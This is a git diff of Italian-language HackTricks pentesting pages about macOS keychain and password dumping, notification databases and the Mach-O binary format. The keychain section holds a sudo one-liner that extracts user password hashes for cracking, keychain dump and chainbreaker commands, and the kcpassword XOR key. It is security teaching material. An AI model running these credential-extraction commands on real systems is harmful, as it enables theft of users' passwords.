sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done' sudo bash -c 'for i in $(find /var/db/dslocal/nodes/Default/users -type f -regex "[^_]*"); do plutil -extract name.0 raw $i | awk "{printf \$0\":\$ml\$\"}"; for j in {iterations,salt,entropy}; do l=$(k=$(plutil -extract ShadowHashData.0 raw $i) && base64 -d <<< $k | plutil -extract SALTED-SHA512-PBKDF2.$j raw -); if [[ $j == iterations ]]; then echo -n $l; else base64 -d <<< $l | xxd -p -c 0 | awk "{printf \"$\"\$0}"; fi; done; echo ""; done'
``` ```
{% endcode %}
### Dump delle chiavi ### Dump delle chiavi
Si noti che quando si utilizza il binario di sicurezza per **scaricare le password decifrate**, verranno visualizzati diversi prompt che chiederanno all'utente di consentire questa operazione. Si noti che quando si utilizza il binario di sicurezza per **scaricare le password decrittate**, verranno visualizzati diversi prompt che chiederanno all'utente di consentire questa operazione.
```bash ```bash
#security #security
secuirty dump-trust-settings [-s] [-d] #List certificates secuirty dump-trust-settings [-s] [-d] #List certificates
@ -51,18 +48,18 @@ security dump-keychain -d #Dump all the info, included secrets (the user will be
### [Keychaindump](https://github.com/juuso/keychaindump) ### [Keychaindump](https://github.com/juuso/keychaindump)
{% hint style="danger" %} {% hint style="danger" %}
Basandosi su questo commento [juuso/keychaindump#10 (comment)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) sembra che questi strumenti non funzionino più in Big Sur. In base a questo commento [juuso/keychaindump#10 (comment)](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760) sembra che questi strumenti non funzionino più in Big Sur.
{% endhint %} {% endhint %}
### Panoramica di Keychaindump ### Panoramica di Keychaindump
Uno strumento chiamato **keychaindump** è stato sviluppato per estrarre password dalle chiavi di macOS, ma presenta limitazioni sulle versioni più recenti di macOS come Big Sur, come indicato in una [discussione](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). L'uso di **keychaindump** richiede che l'attaccante ottenga accesso ed elevi i privilegi a **root**. Lo strumento sfrutta il fatto che la chiave sia sbloccata per impostazione predefinita all'avvio dell'utente per comodità, consentendo alle applicazioni di accedervi senza richiedere ripetutamente la password dell'utente. Tuttavia, se un utente sceglie di bloccare la propria chiave dopo ogni utilizzo, **keychaindump** diventa inefficace. Uno strumento chiamato **keychaindump** è stato sviluppato per estrarre le password dalle chiavi di macOS, ma presenta limitazioni sulle versioni più recenti di macOS come Big Sur, come indicato in una [discussione](https://github.com/juuso/keychaindump/issues/10#issuecomment-751218760). L'uso di **keychaindump** richiede che l'attaccante ottenga accesso ed elevi i privilegi a **root**. Lo strumento sfrutta il fatto che la chiave sia sbloccata per impostazione predefinita all'avvio dell'utente per comodità, consentendo alle applicazioni di accedervi senza richiedere ripetutamente la password dell'utente. Tuttavia, se un utente sceglie di bloccare la propria chiave dopo ogni utilizzo, **keychaindump** diventa inefficace.
**Keychaindump** opera prendendo di mira un processo specifico chiamato **securityd**, descritto da Apple come un demone per operazioni di autorizzazione e crittografia, fondamentale per accedere alla chiave. Il processo di estrazione coinvolge l'individuazione di una **Chiave Principale** derivata dalla password di accesso dell'utente. Questa chiave è essenziale per leggere il file della chiave. Per individuare la **Chiave Principale**, **keychaindump** esamina l'heap di memoria di **securityd** utilizzando il comando `vmmap`, cercando potenziali chiavi nelle aree contrassegnate come `MALLOC_TINY`. Il seguente comando viene utilizzato per ispezionare queste posizioni di memoria: **Keychaindump** opera prendendo di mira un processo specifico chiamato **securityd**, descritto da Apple come un demone per autorizzazioni e operazioni crittografiche, fondamentale per accedere alla chiave. Il processo di estrazione coinvolge l'individuazione di una **Chiave Principale** derivata dalla password di accesso dell'utente. Questa chiave è essenziale per leggere il file della chiave. Per individuare la **Chiave Principale**, **keychaindump** esegue la scansione dell'heap di memoria di **securityd** utilizzando il comando `vmmap`, cercando potenziali chiavi all'interno delle aree contrassegnate come `MALLOC_TINY`. Il seguente comando viene utilizzato per ispezionare queste posizioni di memoria:
```bash ```bash
sudo vmmap <securityd PID> | grep MALLOC_TINY sudo vmmap <securityd PID> | grep MALLOC_TINY
``` ```
Dopo aver identificato le potenziali chiavi principali, **keychaindump** cerca tra gli heap un pattern specifico (`0x0000000000000018`) che indica un candidato per la chiave principale. Sono necessari ulteriori passaggi, inclusa la deobfuscation, per utilizzare questa chiave, come descritto nel codice sorgente di **keychaindump**. Gli analisti che si concentrano su questa area dovrebbero notare che i dati cruciali per decrittare il portachiavi sono memorizzati all'interno della memoria del processo **securityd**. Un esempio di comando per eseguire **keychaindump** è: Dopo aver identificato le potenziali chiavi principali, **keychaindump** cerca tra gli heap un pattern specifico (`0x0000000000000018`) che indica un candidato per la chiave principale. Sono necessari ulteriori passaggi, inclusa la deobfuscation, per utilizzare questa chiave, come descritto nel codice sorgente di **keychaindump**. Gli analisti che si concentrano in questa area dovrebbero notare che i dati cruciali per decrittare il portachiavi sono memorizzati all'interno della memoria del processo **securityd**. Un esempio di comando per eseguire **keychaindump** è:
```bash ```bash
sudo ./keychaindump sudo ./keychaindump
``` ```
@ -88,7 +85,7 @@ Senza uno di questi metodi per sbloccare il portachiavi, Chainbreaker visualizze
#Dump all keys of the keychain (without the passwords) #Dump all keys of the keychain (without the passwords)
python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain python2.7 chainbreaker.py --dump-all /Library/Keychains/System.keychain
``` ```
#### **Scaricare le chiavi del portachiavi (con le password) con SystemKey** #### **Dump delle chiavi del portachiavi (con password) con SystemKey**
```bash ```bash
# First, get the keychain decryption key # First, get the keychain decryption key
# To get this decryption key you need to be root and SIP must be disabled # To get this decryption key you need to be root and SIP must be disabled
@ -105,9 +102,9 @@ hashcat.exe -m 23100 --keep-guessing hashes.txt dictionary.txt
# Use the key to decrypt the passwords # Use the key to decrypt the passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
``` ```
#### **Dump delle chiavi del portachiavi (con password) con dump di memoria** #### **Dump delle chiavi del portachiavi (con password) con dump della memoria**
[Seguire questi passaggi](../#dumping-memory-with-osxpmem) per eseguire un **dump di memoria** [Seguire questi passaggi](../#dumping-memory-with-osxpmem) per eseguire un **dump della memoria**
```bash ```bash
#Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords #Use volafox (https://github.com/n0fate/volafox) to extract possible keychain passwords
# Unformtunately volafox isn't working with the latest versions of MacOS # Unformtunately volafox isn't working with the latest versions of MacOS
@ -116,9 +113,9 @@ python vol.py -i ~/Desktop/show/macosxml.mem -o keychaindump
#Try to extract the passwords using the extracted keychain passwords #Try to extract the passwords using the extracted keychain passwords
python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain python2.7 chainbreaker.py --dump-all --key 0293847570022761234562947e0bcd5bc04d196ad2345697 /Library/Keychains/System.keychain
``` ```
#### **Scaricare le chiavi del portachiavi (con le password) utilizzando la password dell'utente** #### **Dump delle chiavi del portachiavi (con password) utilizzando la password dell'utente**
Se conosci la password dell'utente, puoi utilizzarla per **scaricare e decrittografare i portachiavi che appartengono all'utente**. Se conosci la password dell'utente, puoi utilizzarla per **effettuare il dump e decrittografare i portachiavi che appartengono all'utente**.
```bash ```bash
#Prompt to ask for the password #Prompt to ask for the password
python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library/Keychains/login.keychain-db
@ -128,7 +125,7 @@ python2.7 chainbreaker.py --dump-all --password-prompt /Users/<username>/Library
Il file **kcpassword** è un file che contiene la **password di accesso dell'utente**, ma solo se il proprietario del sistema ha **abilitato l'accesso automatico**. Pertanto, l'utente verrà automaticamente effettuato il login senza essere richiesto di inserire una password (il che non è molto sicuro). Il file **kcpassword** è un file che contiene la **password di accesso dell'utente**, ma solo se il proprietario del sistema ha **abilitato l'accesso automatico**. Pertanto, l'utente verrà automaticamente effettuato il login senza essere richiesto di inserire una password (il che non è molto sicuro).
La password è memorizzata nel file **`/etc/kcpassword`** xored con la chiave **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. Se la password degli utenti è più lunga della chiave, la chiave verrà riutilizzata.\ La password è memorizzata nel file **`/etc/kcpassword`** xored con la chiave **`0x7D 0x89 0x52 0x23 0xD2 0xBC 0xDD 0xEA 0xA3 0xB9 0x1F`**. Se la password degli utenti è più lunga della chiave, la chiave verrà riutilizzata.\
Ciò rende la password piuttosto facile da recuperare, ad esempio utilizzando script come [**questo**](https://gist.github.com/opshope/32f65875d45215c3677d). Ciò rende la password piuttosto facile da recuperare, ad esempio utilizzando script come [**questo**](https://gist.github.com/opshope/32f65875d45215c3677d).
## Informazioni Interessanti nei Database ## Informazioni Interessanti nei Database
@ -144,7 +141,7 @@ sqlite3 $HOME/Suggestions/snippets.db 'select * from emailSnippets'
Puoi trovare i dati delle Notifiche in `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/` Puoi trovare i dati delle Notifiche in `$(getconf DARWIN_USER_DIR)/com.apple.notificationcenter/`
La maggior parte delle informazioni interessanti si troverà nel **blob**. Quindi dovrai **estrarre** quel contenuto e **trasformarlo** in un formato **leggibile** per l'utente o utilizzare **`strings`**. Per accedervi puoi fare: La maggior parte delle informazioni interessanti sarà nel **blob**. Quindi dovrai **estrarre** quel contenuto e **trasformarlo** in un formato **leggibile** per l'utente o utilizzare **`strings`**. Per accedervi puoi fare:
{% code overflow="wrap" %} {% code overflow="wrap" %}
```bash ```bash
@ -168,7 +165,7 @@ for i in $(sqlite3 ~/Library/Group\ Containers/group.com.apple.notes/NoteStore.s
## Preferenze ## Preferenze
Nelle app macOS le preferenze si trovano in **`$HOME/Library/Preferences`** e in iOS sono in `/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences`. Nelle app macOS le preferenze si trovano in **`$HOME/Library/Preferences`** e in iOS si trovano in `/var/mobile/Containers/Data/Application/<UUID>/Library/Preferences`.
In macOS lo strumento cli **`defaults`** può essere utilizzato per **modificare il file delle preferenze**. In macOS lo strumento cli **`defaults`** può essere utilizzato per **modificare il file delle preferenze**.
@ -182,7 +179,7 @@ Il daemon principale per le notifiche è **`/usr/sbin/notifyd`**. Per ricevere n
I nomi utilizzati per le notifiche sono notazioni univoche DNS inverse e quando viene inviata una notifica a uno di essi, il/i client che hanno indicato di poterla gestire la riceveranno. I nomi utilizzati per le notifiche sono notazioni univoche DNS inverse e quando viene inviata una notifica a uno di essi, il/i client che hanno indicato di poterla gestire la riceveranno.
È possibile visualizzare lo stato attuale (e vedere tutti i nomi) inviando il segnale SIGUSR2 al processo notifyd e leggendo il file generato: `/var/run/notifyd_<pid>.status`: È possibile scaricare lo stato attuale (e vedere tutti i nomi) inviando il segnale SIGUSR2 al processo notifyd e leggendo il file generato: `/var/run/notifyd_<pid>.status`:
```bash ```bash
ps -ef | grep -i notifyd ps -ef | grep -i notifyd
0 376 1 0 15Mar24 ?? 27:40.97 /usr/sbin/notifyd 0 376 1 0 15Mar24 ?? 27:40.97 /usr/sbin/notifyd
@ -207,7 +204,7 @@ Il **Centro Notifiche Distribuito** il cui principale binario è **`/usr/sbin/di
In questo caso, le applicazioni possono registrarsi per **argomenti**. Il client genererà un token contattando i server di Apple tramite **`apsd`**.\ In questo caso, le applicazioni possono registrarsi per **argomenti**. Il client genererà un token contattando i server di Apple tramite **`apsd`**.\
Successivamente, i fornitori avranno generato anche un token e saranno in grado di connettersi ai server di Apple per inviare messaggi ai client. Questi messaggi verranno ricevuti localmente da **`apsd`** che inoltrerà la notifica all'applicazione in attesa di riceverla. Successivamente, i fornitori avranno generato anche un token e saranno in grado di connettersi ai server di Apple per inviare messaggi ai client. Questi messaggi verranno ricevuti localmente da **`apsd`** che inoltrerà la notifica all'applicazione in attesa di riceverla.
Le preferenze sono situate in `/Library/Preferences/com.apple.apsd.plist`. Le preferenze si trovano in `/Library/Preferences/com.apple.apsd.plist`.
Vi è un database locale di messaggi situato in macOS in `/Library/Application\ Support/ApplePushService/aps.db` e in iOS in `/var/mobile/Library/ApplePushService`. Esso ha 3 tabelle: `incoming_messages`, `outgoing_messages` e `channel`. Vi è un database locale di messaggi situato in macOS in `/Library/Application\ Support/ApplePushService/aps.db` e in iOS in `/var/mobile/Library/ApplePushService`. Esso ha 3 tabelle: `incoming_messages`, `outgoing_messages` e `channel`.
```bash ```bash
@ -221,6 +218,6 @@ sudo sqlite3 /Library/Application\ Support/ApplePushService/aps.db
Queste sono le notifiche che l'utente dovrebbe vedere sullo schermo: Queste sono le notifiche che l'utente dovrebbe vedere sullo schermo:
* **`CFUserNotification`**: Questa API fornisce un modo per mostrare sullo schermo un popup con un messaggio. - **`CFUserNotification`**: Questa API fornisce un modo per mostrare sullo schermo un popup con un messaggio.
* **Il Bulletin Board**: Questo mostra in iOS un banner che scompare e verrà memorizzato nel Notification Center. - **Il Bulletin Board**: Questo mostra in iOS un banner che scompare e verrà memorizzato nel Notification Center.
* **`NSUserNotificationCenter`**: Questo è il bulletin board di iOS in MacOS. Il database con le notifiche si trova in `/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db` - **`NSUserNotificationCenter`**: Questo è il bulletin board di iOS in MacOS. Il database con le notifiche si trova in `/var/folders/<user temp>/0/com.apple.notificationcenter/db2/db`

View file

@ -1,27 +1,28 @@
# Universal binaries e formato Mach-O # macOS Universal binaries & Formato Mach-O
{% hint style="success" %}
Impara e pratica l'Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## Informazioni di base ## Informazioni di Base
I binari di Mac OS di solito sono compilati come **binari universali**. Un **binario universale** può **supportare più architetture nello stesso file**. Di solito i binari di Mac OS sono compilati come **universal binaries**. Un **universal binary** può **supportare più architetture nello stesso file**.
Questi binari seguono la **struttura Mach-O** che è essenzialmente composta da: Questi binari seguono la **struttura Mach-O** che è composta principalmente da:
* Intestazione * Header
* Comandi di caricamento * Comandi di Caricamento
* Dati * Dati
![https://alexdremov.me/content/images/2022/10/6XLCD.gif](<../../../.gitbook/assets/image (470).png>) ![https://alexdremov.me/content/images/2022/10/6XLCD.gif](<../../../.gitbook/assets/image (470).png>)
@ -80,11 +81,11 @@ o usando lo strumento [Mach-O View](https://sourceforge.net/projects/machoview/)
<figure><img src="../../../.gitbook/assets/image (1094).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../../.gitbook/assets/image (1094).png" alt=""><figcaption></figcaption></figure>
Come potresti pensare, di solito un binario universale compilato per 2 architetture **raddoppia la dimensione** di uno compilato per una sola architettura. Come potresti pensare, di solito un binary universale compilato per 2 architetture **raddoppia la dimensione** di uno compilato per una sola architettura.
## **Intestazione Mach-O** ## Intestazione Mach-O
L'intestazione contiene informazioni di base sul file, come byte magici per identificarlo come file Mach-O e informazioni sull'architettura di destinazione. Puoi trovarlo in: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"` L'intestazione contiene informazioni di base sul file, come i byte magici per identificarlo come file Mach-O e informazioni sull'architettura di destinazione. Puoi trovarlo in: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
```c ```c
#define MH_MAGIC 0xfeedface /* the mach magic number */ #define MH_MAGIC 0xfeedface /* the mach magic number */
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */ #define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
@ -115,16 +116,16 @@ uint32_t reserved; /* reserved */
Ci sono diversi tipi di file, puoi trovarli definiti nel [**codice sorgente ad esempio qui**](https://opensource.apple.com/source/xnu/xnu-2050.18.24/EXTERNAL\_HEADERS/mach-o/loader.h). I più importanti sono: Ci sono diversi tipi di file, puoi trovarli definiti nel [**codice sorgente ad esempio qui**](https://opensource.apple.com/source/xnu/xnu-2050.18.24/EXTERNAL\_HEADERS/mach-o/loader.h). I più importanti sono:
* `MH_OBJECT`: File oggetto relocabile (prodotti intermedi della compilazione, non ancora eseguibili). - `MH_OBJECT`: File oggetto relocabile (prodotti intermedi della compilazione, non ancora eseguibili).
* `MH_EXECUTE`: File eseguibili. - `MH_EXECUTE`: File eseguibili.
* `MH_FVMLIB`: File di libreria VM fissa. - `MH_FVMLIB`: File di libreria VM fissa.
* `MH_CORE`: Dump di codice. - `MH_CORE`: Dump di codice.
* `MH_PRELOAD`: File eseguibile precaricato (non più supportato in XNU). - `MH_PRELOAD`: File eseguibile precaricato (non più supportato in XNU).
* `MH_DYLIB`: Librerie dinamiche. - `MH_DYLIB`: Librerie dinamiche.
* `MH_DYLINKER`: Linker dinamico. - `MH_DYLINKER`: Linker dinamico.
* `MH_BUNDLE`: File "plugin". Generati utilizzando -bundle in gcc e caricati esplicitamente da `NSBundle` o `dlopen`. - `MH_BUNDLE`: File "plugin". Generati utilizzando -bundle in gcc e caricati esplicitamente da `NSBundle` o `dlopen`.
* `MH_DYSM`: File `.dSym` compagno (file con simboli per il debug). - `MH_DYSM`: File `.dSym` compagno (file con simboli per il debug).
* `MH_KEXT_BUNDLE`: Estensioni del kernel. - `MH_KEXT_BUNDLE`: Estensioni del kernel.
```bash ```bash
# Checking the mac header of a binary # Checking the mac header of a binary
otool -arch arm64e -hv /bin/ls otool -arch arm64e -hv /bin/ls
@ -153,7 +154,7 @@ Il codice sorgente definisce anche diversi flag utili per il caricamento delle l
* `MH_NO_HEAP_EXECUTION`: Nessuna esecuzione per pagine heap/dati * `MH_NO_HEAP_EXECUTION`: Nessuna esecuzione per pagine heap/dati
* `MH_HAS_OBJC`: Il binario ha sezioni Objective-C * `MH_HAS_OBJC`: Il binario ha sezioni Objective-C
* `MH_SIM_SUPPORT`: Supporto del simulatore * `MH_SIM_SUPPORT`: Supporto del simulatore
* `MH_DYLIB_IN_CACHE`: Usato su dylib/framework nella cache della libreria condivisa. * `MH_DYLIB_IN_CACHE`: Usato su dylib/framework nella cache delle librerie condivise.
## **Comandi di caricamento Mach-O** ## **Comandi di caricamento Mach-O**
@ -232,7 +233,7 @@ otool -lv /bin/ls
``` ```
I segmenti comuni caricati da questo cmd: I segmenti comuni caricati da questo cmd:
* **`__PAGEZERO`:** Istruisce il kernel a **mappare** l'**indirizzo zero** in modo che non possa essere **letto, scritto o eseguito**. Le variabili maxprot e minprot nella struttura sono impostate su zero per indicare che non ci sono **diritti di lettura-scrittura-esecuzione su questa pagina**. * **`__PAGEZERO`:** Istruisce il kernel a **mappare** l'**indirizzo zero** in modo che **non possa essere letto, scritto o eseguito**. Le variabili maxprot e minprot nella struttura sono impostate su zero per indicare che non ci sono **diritti di lettura-scrittura-esecuzione su questa pagina**.
* Questa allocazione è importante per **mitigare le vulnerabilità di dereferenziazione del puntatore NULL**. Questo perché XNU impone una pagina zero rigida che garantisce che la prima pagina (solo la prima) della memoria sia inaccessibile (eccetto in i386). Un binario potrebbe soddisfare questi requisiti creando un piccolo \_\_PAGEZERO (usando `-pagezero_size`) per coprire i primi 4k e rendere il resto della memoria a 32 bit accessibile sia in modalità utente che kernel. * Questa allocazione è importante per **mitigare le vulnerabilità di dereferenziazione del puntatore NULL**. Questo perché XNU impone una pagina zero rigida che garantisce che la prima pagina (solo la prima) della memoria sia inaccessibile (eccetto in i386). Un binario potrebbe soddisfare questi requisiti creando un piccolo \_\_PAGEZERO (usando `-pagezero_size`) per coprire i primi 4k e rendere il resto della memoria a 32 bit accessibile sia in modalità utente che kernel.
* **`__TEXT`**: Contiene **codice eseguibile** con permessi di **lettura** ed **esecuzione** (non scrivibile)**.** Sezioni comuni di questo segmento: * **`__TEXT`**: Contiene **codice eseguibile** con permessi di **lettura** ed **esecuzione** (non scrivibile)**.** Sezioni comuni di questo segmento:
* `__text`: Codice binario compilato * `__text`: Codice binario compilato
@ -250,7 +251,7 @@ I segmenti comuni caricati da questo cmd:
* `__data`: Variabili globali (che sono state inizializzate) * `__data`: Variabili globali (che sono state inizializzate)
* `__bss`: Variabili statiche (che non sono state inizializzate) * `__bss`: Variabili statiche (che non sono state inizializzate)
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, ecc): Informazioni utilizzate dall'Objective-C runtime * `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist, ecc): Informazioni utilizzate dall'Objective-C runtime
* **`__DATA_CONST`**: \_\_DATA.\_\_const non è garantito che sia costante (permessi di scrittura), così come gli altri puntatori e la GOT. Questa sezione rende `__const`, alcuni inizializzatori e la tabella GOT (una volta risolta) **solo lettura** utilizzando `mprotect`. * **`__DATA_CONST`**: \_\_DATA.\_\_const non è garantito essere costante (permessi di scrittura), così come gli altri puntatori e la GOT. Questa sezione rende `__const`, alcuni inizializzatori e la tabella GOT (una volta risolta) **solo lettura** utilizzando `mprotect`.
* **`__LINKEDIT`**: Contiene informazioni per il linker (dyld) come simboli, stringhe e voci della tabella di rilocazione. È un contenitore generico per contenuti che non sono né in `__TEXT` né in `__DATA` e il suo contenuto è descritto in altri comandi di caricamento. * **`__LINKEDIT`**: Contiene informazioni per il linker (dyld) come simboli, stringhe e voci della tabella di rilocazione. È un contenitore generico per contenuti che non sono né in `__TEXT` né in `__DATA` e il suo contenuto è descritto in altri comandi di caricamento.
* Informazioni dyld: Rebase, opcode di binding non-lazy/lazy/debole e informazioni di esportazione * Informazioni dyld: Rebase, opcode di binding non-lazy/lazy/debole e informazioni di esportazione
* Inizio delle funzioni: Tabella degli indirizzi di inizio delle funzioni * Inizio delle funzioni: Tabella degli indirizzi di inizio delle funzioni
@ -267,7 +268,7 @@ Come è stato possibile vedere nel codice, **i segmenti supportano anche dei fla
* `SG_HIGHVM`: Solo core (non utilizzato) * `SG_HIGHVM`: Solo core (non utilizzato)
* `SG_FVMLIB`: Non utilizzato * `SG_FVMLIB`: Non utilizzato
* `SG_NORELOC`: Il segmento non ha rilocazione * `SG_NORELOC`: Il segmento non ha rilocazione
* `SG_PROTECTED_VERSION_1`: Crittografia. Utilizzato ad esempio da Finder per crittografare il segmento di testo `__TEXT`. * `SG_PROTECTED_VERSION_1`: Crittografia. Utilizzato ad esempio da Finder per crittografare il segmento di testo `__TEXT`.
### **`LC_UNIXTHREAD/LC_MAIN`** ### **`LC_UNIXTHREAD/LC_MAIN`**
@ -300,7 +301,7 @@ cpsr 0x00000000
### **`LC_CODE_SIGNATURE`** ### **`LC_CODE_SIGNATURE`**
Contiene informazioni sulla **firma del codice del file Mach-O**. Contiene solo un **offset** che **punta** al **blocco della firma**. Di solito si trova alla fine del file.\ Contiene informazioni sulla **firma del codice del file Mach-O**. Contiene solo un **offset** che **punta** al **blocco della firma**. Di solito si trova alla fine del file.\
Tuttavia, è possibile trovare ulteriori informazioni su questa sezione in [**questo post del blog**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) e in questo [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4). Tuttavia, è possibile trovare ulteriori informazioni su questa sezione in [**questo post sul blog**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) e in questo [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4).
### **`LC_ENCRYPTION_INFO[_64]`** ### **`LC_ENCRYPTION_INFO[_64]`**
@ -320,13 +321,13 @@ UUID casuale. È utile per niente direttamente ma XNU lo memorizza con il resto
### **`LC_DYLD_ENVIRONMENT`** ### **`LC_DYLD_ENVIRONMENT`**
Permette di indicare le variabili d'ambiente al dyld prima che il processo venga eseguito. Questo può essere molto pericoloso in quanto consente di eseguire codice arbitrario all'interno del processo, quindi questo comando di caricamento è utilizzato solo in dyld compilati con `#define SUPPORT_LC_DYLD_ENVIRONMENT` e limita ulteriormente l'elaborazione solo alle variabili della forma `DYLD_..._PATH` specificando i percorsi di caricamento. Permette di indicare le variabili d'ambiente al dyld prima che il processo venga eseguito. Questo può essere molto pericoloso in quanto consente di eseguire codice arbitrario all'interno del processo, quindi questo comando di caricamento viene utilizzato solo in dyld compilati con `#define SUPPORT_LC_DYLD_ENVIRONMENT` e limita ulteriormente l'elaborazione solo alle variabili della forma `DYLD_..._PATH` specificando i percorsi di caricamento.
### **`LC_LOAD_DYLIB`** ### **`LC_LOAD_DYLIB`**
Questo comando di caricamento descrive una **dipendenza da libreria dinamica** che **istruisce** il **caricatore** (dyld) a **caricare e collegare tale libreria**. C'è un comando di caricamento `LC_LOAD_DYLIB` **per ogni libreria** di cui il binario Mach-O ha bisogno. Questo comando di caricamento descrive una **dipendenza da libreria dinamica** che **istruisce** il **caricatore** (dyld) a **caricare e collegare tale libreria**. C'è un comando di caricamento `LC_LOAD_DYLIB` **per ogni libreria** richiesta dal binario Mach-O.
* Questo comando di caricamento è una struttura di tipo **`dylib_command`** (che contiene una struttura dylib, che descrive la libreria dinamica dipendente effettiva): * Questo comando di caricamento è una struttura di tipo **`dylib_command`** (che contiene una struttura dylib, descrivendo la libreria dinamica dipendente effettiva):
```objectivec ```objectivec
struct dylib_command { struct dylib_command {
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */ uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */
@ -343,7 +344,7 @@ uint32_t compatibility_version; /* library's compatibility vers number*/
``` ```
![](<../../../.gitbook/assets/image (486).png>) ![](<../../../.gitbook/assets/image (486).png>)
È possibile ottenere queste informazioni anche da CLI con: È possibile ottenere queste informazioni anche da riga di comando con:
```bash ```bash
otool -L /bin/ls otool -L /bin/ls
/bin/ls: /bin/ls:
@ -353,18 +354,18 @@ otool -L /bin/ls
``` ```
Alcune potenziali librerie correlate al malware sono: Alcune potenziali librerie correlate al malware sono:
* **DiskArbitration**: Monitoraggio delle unità USB - **DiskArbitration**: Monitoraggio delle unità USB
* **AVFoundation:** Cattura audio e video - **AVFoundation**: Cattura audio e video
* **CoreWLAN**: Scansioni Wifi. - **CoreWLAN**: Scansioni Wifi.
{% hint style="info" %} {% hint style="info" %}
Un binario Mach-O può contenere uno o **più** **costruttori**, che verranno **eseguiti** **prima** dell'indirizzo specificato in **LC\_MAIN**.\ Un binario Mach-O può contenere uno o **più costruttori**, che verranno **eseguiti prima** dell'indirizzo specificato in **LC\_MAIN**.\
Gli offset di eventuali costruttori sono contenuti nella sezione **\_\_mod\_init\_func** del segmento **\_\_DATA\_CONST**. Gli offset di eventuali costruttori sono contenuti nella sezione **\_\_mod\_init\_func** del segmento **\_\_DATA\_CONST**.
{% endhint %} {% endhint %}
## **Dati Mach-O** ## **Dati Mach-O**
Al centro del file si trova la regione dei dati, composta da diversi segmenti come definito nella regione dei comandi di caricamento. **Una varietà di sezioni dati può essere contenuta in ciascun segmento**, con ciascuna sezione **contenente codice o dati** specifici per un tipo. Al centro del file si trova la regione dei dati, composta da diversi segmenti come definito nella regione dei comandi di caricamento. **Una varietà di sezioni dati può essere contenuta in ciascun segmento**, con ciascuna sezione che **contiene codice o dati** specifici per un tipo.
{% hint style="success" %} {% hint style="success" %}
I dati sono essenzialmente la parte che contiene tutte le **informazioni** caricate dai comandi di caricamento **LC\_SEGMENTS\_64** I dati sono essenzialmente la parte che contiene tutte le **informazioni** caricate dai comandi di caricamento **LC\_SEGMENTS\_64**
